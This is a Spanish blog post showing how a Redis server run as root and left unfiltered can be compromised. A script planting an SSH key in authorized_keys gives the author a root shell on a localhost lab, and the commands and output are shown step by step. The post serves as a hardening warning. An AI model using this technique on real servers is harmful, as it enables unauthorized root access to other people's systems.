Esta pagina se ve mejor con JavaScript habilitado

Obtener root shell servidor redis

 ·  🎃 kr0m

Como ya vimos en una ocasión anterior si no configuramos nuestro servidor redis de forma correcta los atacantes malintencionados pueden llegar a subirnos webshells, en esta ocasión se detalla como puede llegar a comprometerse la cuenta de root por arrancar el servicio con el usuario incorrecto y no filtrarlo mediante firewall.

Por defecto en la instalación de un servidor redis el servicio arranca con el usuario redis, pero en esta ocasión lo haremos como root para que el ataque quede mas llamativo.

Arrancamos el servicio, ejecutamos el binario con la config como argumento:

redis-server redis.conf

En la parte del atacante instalamos las librerias de redis para python:

easy_install redis

Indicamos la lista de objetivos, en este caso localhost:

vi list

127.0.0.1

Nos bajamos el script:

Lanzamos el ataque indicando la pubkey a insertar, cuidado que el script en python flushea la base de datos de redis:

$ python2.7 hackredis.py -l list -p 6379 -r .ssh/id_rsa.pub -sp 22 -pk .ssh/id_rsa

[*] Attacking ip:127.0.0.1
[*] Check connecting...
[+] Success !

Conectamos con el servidor y voilá, somos root:

ssh localhost -p22

#

Si comprobamos el contenido del authorized_keys es el siguiente:

cat authorized_keys

REDIS0006þcrackitA
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVQnniSdSbjmAtjMfLpj5hjTRz8Xr/5pn7G43cznRXSQ3zCG6QvEqNEOxVkMfvDx+esIaINrecyD388l9gctqrXb13kE7JxQZnXW6rnJcCG96r006nR1sz7bXrj0OGRBIag53MK4fX1MhkJi6bsV4JiOEBB5bnnDvD1YuuO6zEPIl58w4h21JI7R78Zg9nWwAyNBgJsaCq4kyt1g4GpRtil00V0GERMfyKaS3CcjvSHMQKNR8INzW+BCo8KIZCUXdgl7h4qjo0064/1tCWNo6Yv1gtnjxK3nWo6AaC9Cno58RCb0FuRg+GS5LGQuKRXH8NdTYl4KG4usrtfSbO6pCf kr0m@skynet

ÿ¸æÜòWzp

Así de peligroso puede llegar a ser arrancar servicios con el usuario incorrecto, esto unido al hecho de que no se filtra el acceso de ningún modo desenboca a una bonita shell como root.

Si te ha gustado el artículo puedes invitarme a un RedBull aquí